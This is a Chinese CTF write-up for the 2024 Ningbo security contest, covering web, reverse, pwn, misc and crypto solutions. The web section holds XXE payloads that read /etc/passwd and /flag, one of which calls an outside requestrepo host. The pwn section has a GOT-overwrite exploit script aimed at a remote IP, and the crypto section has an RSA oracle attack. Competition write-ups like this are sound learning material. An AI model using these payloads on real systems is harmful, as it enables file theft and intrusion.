“天一永安杯” 初赛 2024宁波第七届网络安全大赛暨第九届大学生网络技术与信息安全大赛题解WP

web-1

题目描述：只需一键，Flag就在你眼前！

Ctrl+U直接出

web-2

题目描述：小明做的网站看似很安全，但是它好像开启了某个不安全的配置

敏感目录扫描无果，手动排查，根据报错是java的后端（springboot）

环境出网，能解析xml，有没有回显不知道，xxe包的。

<?xml version='1.0' encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY  % myurl SYSTEM "http://Jay17.6c48yi2g.requestrepo.com">

    %myurl;
]> 

<root>
1
</root>

之前做了java的xxe，留了payload：

来自这篇文章：https://github.com/bfengj/CTF/blob/main/Web/java/XXE/Java%E4%B8%AD%E7%9A%84XXE.md

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

啥都好，就是环境有点问题

重开环境

re-1

IDA打开，直接找string，找到关键提示Congratulations!等，追踪到函数，发现main函数入口

简单审一下，就是flag字符串和key进行了crypt2处理，继续追踪key，发现key是由key和key1两个变量经过crypt1处理得到

先逆key，追踪key和key1，得到值，写解密脚本

def initialize_key_stream(state, key_seed):
    key_length = len(key_seed)
    state[:] = range(256)
    j = 0
    for i in range(256):
        j = (j + state[i] + key_seed[i % key_length]) % 256
        state[i], state[j] = state[j], state[i]


def encrypt_decrypt(state, data):
    i = 0
    j = 0
    result = bytearray(data)
    for idx in range(len(data)):
        i = (i + 1) % 256
        j = (j + state[i]) % 256
        state[i], state[j] = state[j], state[i]
        key_stream_byte = state[(state[i] + state[j]) % 256]
        result[idx] ^= key_stream_byte
    return result


def process_data(data, key_seed):
    state = list(range(256))
    initialize_key_stream(state, key_seed)
    processed_data = encrypt_decrypt(state, data)
    return processed_data


key_seed = b"keykey" 
data = b"ban_debug!"
encrypted_data = process_data(data, key_seed)

print("Encrypted key:", encrypted_data)

得到key:b’i\rZ\xb2@\xea\x19?/j’ 解密cipher 脚本如下

def initialize_key_stream(state, key):
    key_length = len(key)
    for i in range(256):
        state[i] = i
    j = 0
    for i in range(256):
        j = (j + state[i] + key[i % key_length]) % 256
        state[i], state[j] = state[j], state[i]

def encrypt_data(state, data):
    i = 0
    j = 0
    encrypted_data = bytearray(data)
    for index in range(len(data)):
        i = (i + 1) % 256
        j = (j + state[i]) % 256
        state[i], state[j] = state[j], state[i]
        key_stream_byte = state[(state[i] + state[j]) % 256]
        encrypted_data[index] = (encrypted_data[index] - key_stream_byte) % 256
    return encrypted_data

def decrypt_data(state, ciphertext):
    i = 0
    j = 0
    decrypted_data = bytearray(ciphertext)
    for index in range(len(ciphertext)):
        i = (i + 1) % 256
        j = (j + state[i]) % 256
        state[i], state[j] = state[j], state[i]
        key_stream_byte = state[(state[i] + state[j]) % 256]
        decrypted_data[index] = (decrypted_data[index] + key_stream_byte) % 256
    return decrypted_data

key = b'i\rZ\xb2@\xea\x19?/j'
ciphertext = bytes([
    0x4e, 0x47, 0x38, 0x47, 0x62, 0x0a,
    0x79, 0x6a, 0x03, 0x66, 0xc0, 0x69,
    0x8d, 0x1c, 0x84, 0x0f, 0x54, 0x4a,
    0x3b, 0x08, 0xe3, 0x30, 0x4f, 0xb9,
    0x6c, 0xab, 0x36, 0x24, 0x52, 0x81,
    0xcf
])

state = list(range(256))
initialize_key_stream(state, key)

decrypted_data = decrypt_data(state, ciphertext)
print("Decrypted flag:", decrypted_data.decode())

re-2

先用010editror修改CTF为UPX

然后用upx4.2.3脱壳

然后下完断点后输入27个字符动调查看v4找到flag

1714883605754

1714882913886

1714884467800

pwn-1

name能覆盖到password1的指针修改其使其指向__isoc99_scanf的got然后在输入password1时将其篡改为提供的后门地址即可

from pwn import *
context.log_level="debug"
elf=ELF("./Wal1et")
io=remote("47.100.12.80",30786)
#io=process("./Wal1et")
#io.recvuntil("2.EXIT")
io.sendline("1")
io.recvuntil("Show me your name :")
printf_got=elf.got["printf"]
__isoc99_scanf_got=elf.got["__isoc99_scanf"]
print(hex(printf_got))

io.sendline("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaab"+p32(__isoc99_scanf_got))
#gdb.attach(io)
#pause()
io.recvuntil("password :")

io.sendline(str(0x804872A))

io.interactive()

1714885013880

misc-1

png打开，一眼像素有问题，stegsolve嗦一下，发现只有RGB的第七个通道有数据块并且部分黑，直接过滤7通道，得到一堆hex，hex转码

得到隐藏数据

搜一下发现是日语歌，发现前面有空的字符，连起来就是key的提示

直接搜这个解密网站 https://sekao.net/pixeljihad/ 解密后得到flag

crypto-1

import websocket
import json
from binascii import *
from Crypto.Util.number import *
url1="ws://101.132.170.0:31898"
ws=websocket.create_connection(url1)
t1=ws.recv()
# print(t1)
# ws.send(json.dumps({"cmd": "get_flag"}))
# ws.send("help") 
def get_flag():
    ws.send(json.dumps({"cmd": "get_flag"}))
    tmp_result=str(ws.recv())
    return bytes_to_long(unhexlify(tmp_result))
def dec(data):
    ws.send(json.dumps({"cmd": "dec", "data": hex(data)[2:]}))
    return ws.recv()
def enc(data):
    ws.send(json.dumps({"cmd": "enc", "data": hex(data)[2:]}))
    return ws.recv()
c=get_flag()
print(f"c={c}")
e=65537
left,right=1,2**2048
while left<right:
    mid=(left+right)>>1
    result=enc(mid)
    if "args" in result:
        right=mid-1
    else:
        left=mid
    if right-left==1:
        if "arg" in enc(right):
            right=left
        else:
            left=right
    print(left,right)
n=left+1
print(f"n={n}")
for i in range(2,3):
    c_tmp=c*pow(i,e)%n
    m=dec(c_tmp)
    print(m)
    result1=bytes_to_long(unhexlify(m))
    if result1%2==0:
        print(long_to_bytes(result1//2))
    else:
        print(long_to_bytes((result1+n)//2))